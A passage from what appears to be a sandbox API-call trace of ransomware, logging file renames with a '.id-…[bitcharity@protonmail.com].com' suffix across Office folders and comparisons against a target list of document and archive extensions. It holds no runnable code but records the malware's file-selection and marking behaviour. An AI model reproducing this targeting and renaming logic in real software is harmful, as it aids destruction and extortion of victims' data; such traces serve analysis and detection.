(lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml") returned 85 [0254.100] lstrlenW (lpString=".doc") returned 4 [0254.101] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.101] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_postcommon.visio.x-none.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.101] CloseHandle (hObject=0x1234) returned 1 [0254.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml") returned 101 [0254.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml") returned 101 [0254.102] lstrlenW (lpString=".doc") returned 4 [0254.103] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.103] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\word.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.103] CloseHandle (hObject=0x1234) returned 1 [0254.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml") returned 84 [0254.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml") returned 84 [0254.104] lstrlenW (lpString=".doc") returned 4 [0254.104] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.104] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.105] CloseHandle (hObject=0x1234) returned 1 [0254.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC") returned 65 [0254.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC") returned 65 [0254.105] lstrlenW (lpString=".doc") returned 4 [0255.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.153] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\facility.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.153] CloseHandle (hObject=0x1228) returned 1 [0255.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL") returned 65 [0255.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL") returned 65 [0255.153] lstrlenW (lpString=".doc") returned 4 [0255.154] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.154] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\floch.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.155] CloseHandle (hObject=0x1228) returned 1 [0255.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD") returned 62 [0255.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD") returned 62 [0255.155] lstrlenW (lpString=".doc") returned 4 [0255.157] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.157] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.159] CloseHandle (hObject=0x1228) returned 1 [0255.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD") returned 62 [0255.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD") returned 62 [0255.159] lstrlenW (lpString=".doc") returned 4 [0255.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.161] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.161] CloseHandle (hObject=0x1228) returned 1 [0255.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL") returned 62 [0255.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL") returned 62 [0255.162] lstrlenW (lpString=".doc") returned 4 [0255.162] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.162] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.163] CloseHandle (hObject=0x1228) returned 1 [0255.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA") returned 65 [0255.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA") returned 65 [0255.163] lstrlenW (lpString=".doc") returned 4 [0255.164] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.164] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.164] CloseHandle (hObject=0x1228) returned 1 [0255.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS") returned 62 [0255.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS") returned 62 [0255.164] lstrlenW (lpString=".doc") returned 4 [0255.180] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.180] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.180] CloseHandle (hObject=0x1228) returned 1 [0255.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC") returned 66 [0255.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC") returned 66 [0255.181] lstrlenW (lpString=".doc") returned 4 [0255.181] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.181] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.182] CloseHandle (hObject=0x1228) returned 1 [0255.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT") returned 66 [0255.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT") returned 66 [0255.182] lstrlenW (lpString=".doc") returned 4 [0255.183] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.183] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.183] CloseHandle (hObject=0x1228) returned 1 [0255.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK") returned 68 [0255.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK") returned 68 [0255.184] lstrlenW (lpString=".doc") returned 4 [0255.185] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.185] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.185] CloseHandle (hObject=0x1228) returned 1 [0255.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK") returned 68 [0255.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK") returned 68 [0255.186] lstrlenW (lpString=".doc") returned 4 [0255.187] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.187] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.188] CloseHandle (hObject=0x1228) returned 1 [0255.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS") returned 63 [0255.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS") returned 63 [0255.188] lstrlenW (lpString=".doc") returned 4 [0255.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0255.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll") returned 75 [0255.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll") returned 75 [0255.189] lstrlenW (lpString=".doc") returned 4 [0255.189] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.190] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.190] CloseHandle (hObject=0x1228) returned 1 [0255.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC") returned 67 [0255.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC") returned 67 [0255.650] lstrlenW (lpString=".doc") returned 4 [0255.652] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.652] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.768] CloseHandle (hObject=0x1268) returned 1 [0255.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK") returned 69 [0255.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK") returned 69 [0255.768] lstrlenW (lpString=".doc") returned 4 [0257.737] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.737] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.738] CloseHandle (hObject=0x11d0) returned 1 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD") returned 65 [0257.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD") returned 65 [0257.738] lstrlenW (lpString=".doc") returned 4 [0257.739] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.740] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.740] CloseHandle (hObject=0x11d0) returned 1 [0257.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD") returned 65 [0257.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD") returned 65 [0257.741] lstrlenW (lpString=".doc") returned 4 [0257.744] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.744] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.745] CloseHandle (hObject=0x11d0) returned 1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.745] lstrlenW (lpString=".doc") returned 4 [0257.745] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.745] lstrlenW (lpString=".docx") returned 5 [0257.745] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0257.746] lstrlenW (lpString=".pdf") returned 4 [0257.746] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.746] lstrlenW (lpString=".xls") returned 4 [0257.746] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.746] lstrlenW (lpString=".xlsx") returned 5 [0257.746] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0257.746] lstrlenW (lpString=".ppt") returned 4 [0257.746] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.746] lstrlenW (lpString=".zip") returned 4 [0257.746] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.746] lstrlenW (lpString=".rar") returned 4 [0257.746] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.746] lstrlenW (lpString=".bz2") returned 4 [0257.746] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.746] lstrlenW (lpString=".7z") returned 3 [0257.746] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.747] lstrlenW (lpString=".dbf") returned 4 [0257.747] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.747] lstrlenW (lpString=".1cd") returned 4 [0257.747] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.747] lstrlenW (lpString=".jpg") returned 4 [0257.747] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.747] lstrlenW (lpString=".doc") returned 4 [0257.747] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.748] lstrlenW (lpString=".docx") returned 5 [0257.748] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0257.748] lstrlenW (lpString=".pdf") returned 4 [0257.748] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.748] lstrlenW (lpString=".xls") returned 4 [0257.748] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.748] lstrlenW (lpString=".xlsx") returned 5 [0257.748] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0257.748] lstrlenW (lpString=".ppt") returned 4 [0257.748] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.748] lstrlenW (lpString=".zip") returned 4 [0257.748] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.748] lstrlenW (lpString=".rar") returned 4 [0257.748] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.748] lstrlenW (lpString=".bz2") returned 4 [0257.748] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.748] lstrlenW (lpString=".7z") returned 3 [0257.748] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.748] lstrlenW (lpString=".dbf") returned 4 [0257.748] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.749] lstrlenW (lpString=".1cd") returned 4 [0257.749] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 64 [0257.749] lstrlenW (lpString=".jpg") returned 4 [0257.749] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.749] lstrcmpiW (lpString1=".HXC", lpString2=".com") returned 1 [0257.749] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0257.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0257.750] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=631) returned 1 [0257.750] CloseHandle (hObject=0x11d0) returned 1 [0257.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 